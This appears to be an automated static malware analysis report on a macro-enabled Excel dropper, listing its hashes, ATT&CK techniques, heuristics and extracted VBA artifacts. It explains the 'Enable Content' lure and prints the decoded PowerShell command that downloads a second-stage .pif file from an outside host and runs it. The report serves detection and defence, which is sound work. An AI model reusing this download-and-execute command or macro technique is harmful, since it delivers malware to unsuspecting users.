Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 c772a58417a63cd2…

MALICIOUS

Office (OOXML) / .XLSM

43.0 KB Created: 2020-01-28 19:47:00 UTC Authoring application: Microsoft Excel 16.0300
MD5: 943e70ef78c580fe7a303ac87f67d9c5 SHA-1: 093af265716eb6717f0171ae001f48350a1888bb SHA-256: c772a58417a63cd21349d8ac3609376f45626a921dd3282e8c5fc05ae64d6f8d
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059.003 Windows Command Shell

The sample is an XLSM file containing VBA macros. It uses a social engineering lure, instructing the user to 'Enable Content' to view a fake tour. Upon enabling, the Workbook_Activate subroutine is triggered, which calls Prefix0. Prefix0 constructs a batch file named 'Fkulgcinznhmce.bat' containing a PowerShell command. This command downloads a file from 'http://subhost.online/fold/extramile.pif' and saves it to a location determined by environment variables, then executes it. The PowerShell command is Base64 encoded and decodes to: 'New-Object System.Net.WebClient).DownloadFile("http://subhost.online/fold/extramile.pif", "$env:APPDADWA\ProcName") ; Start-Process ("$env:APPDADWA\ProcName")'. This indicates the macro's intent is to download and execute a second-stage payload.

Heuristics 5

  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA project inside OOXML medium OOXML_VBA
    Document contains vbaProject.bin — VBA macros present
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • External hyperlinks (3) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 3 external hyperlinks — clickable URLs are stored as external relationships. First target: http://go.microsoft.com/fwlink/?LinkId=846285
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://go.microsoft.com/fwlink/?LinkId=846285
    • http://go.microsoft.com/fwlink/?LinkId=844969

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
3ee8b979cce80d4ba075d5e4c5127ee60d43ca6ae2e2ed307de265078c8b8b51		 vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2645 bytes
vbaProject_00.bin
e741518ab8f1eec9a7f41c7d20225281d6e901f64e185415e94444a7eb9b132f		 vba-project OOXML VBA project: xl/vbaProject.bin 6656 bytes

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